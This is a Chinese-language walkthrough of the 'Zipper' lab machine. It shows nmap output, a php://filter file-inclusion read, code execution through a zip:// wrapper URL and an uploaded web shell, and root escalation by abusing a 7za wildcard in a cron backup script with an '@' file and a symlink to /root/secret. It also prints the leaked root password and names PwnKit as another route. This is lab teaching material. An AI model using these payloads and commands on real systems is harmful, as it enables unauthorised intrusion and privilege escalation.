信息收集:
root@iZt4nbifrvtk7cy11744y4Z:~# nmap -p- -Pn -A -sS -T4 192.168.216.229Starting Nmap 7.80 ( https://nmap.org ) at 2025-02-26 12:23 CSTNmap scan report for 192.168.216.229Host is up (0.0027s latency).Not shown: 65533 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)80/tcp open http Apache httpd 2.4.41 ((Ubuntu))|_http-server-header: Apache/2.4.41 (Ubuntu)|_http-title: ZipperNo exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).TCP/IP fingerprint:OS:SCAN(V=7.80%E=4%D=2/26%OT=22%CT=1%CU=30076%PV=Y%DS=4%DC=T%G=Y%TM=67BE974OS:8%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)OPSOS:(O1=M54EST11NW7%O2=M54EST11NW7%O3=M54ENNT11NW7%O4=M54EST11NW7%O5=M54EST1OS:1NW7%O6=M54EST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECNOS:(R=Y%DF=Y%T=40%W=FAF0%O=M54ENNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AOS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(ROS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%FOS:=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%OS:RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)Network Distance: 4 hopsService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE (using port 8888/tcp)HOP RTT ADDRESS1 2.35 ms 192.168.45.12 2.35 ms 192.168.45.2543 2.43 ms 192.168.251.14 2.60 ms 192.168.216.229OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 26.48 seconds
开放了80的http服务,是一个zip打包网站
扫描目录发现upload.php
文件
右键查看页面源代码发现疑似文件包含点
但是正常包含文件失败:index.php?file=upload.php
,使用base成功读取home源代码
读取upload代码并进行审计
index.php?file=php://filter/convert.base64-encode/resource=upload
拿到upload功能源码
<?phpif ($_FILES && $_FILES['img']) {if (!empty($_FILES['img']['name'][0])) {$zip = new ZipArchive();$zip_name = getcwd() . "/uploads/upload_" . time() . ".zip"; // Create a zip targetif ($zip->open($zip_name, ZipArchive::CREATE) !== TRUE) {$error .= "Sorry ZIP creation is not working currently.<br/>"; }$imageCount = count($_FILES['img']['name']);for($i=0;$i<$imageCount;$i++) {if ($_FILES['img']['tmp_name'][$i] == '') {continue; }$newname = date('YmdHis', time()) . mt_rand() . '.tmp'; // Moving files to zip.$zip->addFromString($_FILES['img']['name'][$i], file_get_contents($_FILES['img']['tmp_name'][$i])); // moving files to the target folder. move_uploaded_file($_FILES['img']['tmp_name'][$i], './uploads/' . $newname); }$zip->close(); // Create HTML Link option to download zip$success = basename($zip_name); } else {$error = '<strong>Error!! </strong> Please select a file.'; }}
没看出来什么漏洞,,,看了hints,参照这篇文章:https://rioasmara.com/2021/07/25/php-zip-wrapper-for-rce/
利用zip伪协议来直接解压压缩包(第一次实战遇到用zip://
的,,
上传一句话木马shell.php,访问(这里注意不要在文件名后面添加.php,网页会自动加,就跟刚刚LFI直接用index.php?file=php://filter/convert.base64-encode/resource=upload.php
读取不到一样:
index.php?file=zip://uploads/upload_1740549330.zip%23shell&shell=system('whoami');
成功getshell
反弹shell
拿到local
常规信息收集发现会定期运行脚本/opt/backup.sh
查看脚本
有一个命令值得注意,$password
变量由cat /root/secret获取,会将日志信息输出到/opt/backups/backup.log文件中
7za a /opt/backups/backup.zip -p$password -tzip *.zip > /opt/backups/backup.log
查看log文件
那我们就需要通过这个报错日志读取/root/secret
文件
软链接的创建:
攻击者通过 ln -s /root/secret aaa.zip
创建了一个软链接aaa.zip
,指向/root/secret
文件。软链接的作用是让系统认为aaa.zip
就是/root/secret
文件,这意味着任何能读取aaa.zip
文件的进程或用户,也会读取到/root/secret
文件的内容。攻击过程:
攻击者创建了一个名为 @aaa.zip
的文件,并将其放置在uploads
目录中。这个文件本身是一个普通文件,名为@aaa.zip
,但其中的aaa.zip
是一个软链接,指向/root/secret
文件。该文件在文件系统中看起来是 aaa.zip
,但是由于它是一个软链接,指向的是/root/secret
文件。因此,只要可以读取aaa.zip
文件的进程,就能间接地读取到/root/secret
的内容。为什么能读取
/root/secret
:
在 cron 任务中执行的脚本 /opt/backup.sh
会扫描uploads
目录中的文件,并且通过7za
处理这些.zip
文件。当7za
处理到软链接文件时,它实际上读取的是软链接所指向的文件内容。尽管www-data
用户没有权限直接读取/root/secret
文件,但是因为软链接指向了这个文件,所以如果程序(在这种情况下是7za
)能够访问aaa.zip
,它就能读取/root/secret
的内容。读取
/root/secret
文件:
当执行 7za
创建压缩包时,它会处理文件(包括软链接)。所以,攻击者创建的软链接(aaa.zip
)就指向了高权限的/root/secret
文件。压缩包的创建过程中,7za
读取了软链接,并间接地读取了/root/secret
的内容,从而泄露了文件的敏感信息。
但是其实我们查看uploads文件夹就会发现
所以WildCardsGoingWild
就是/root/secret的内容,如果要自己复现就是:
在uploads目录下:
touch @123.zipln -s /root/secret 123.zip
然后查看/opt/backups/backup.log
由于该文件内容并非文件列表,所以会报错并显示出/root/secret的内容
用密码切换为root,拿到proof
最后看了看别人的思路,这题还可以利用PwnKit(CVE-2021-4034)python版本提权
原文始发于微信公众号(EuSRC安全实验室):PG_Zipper
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论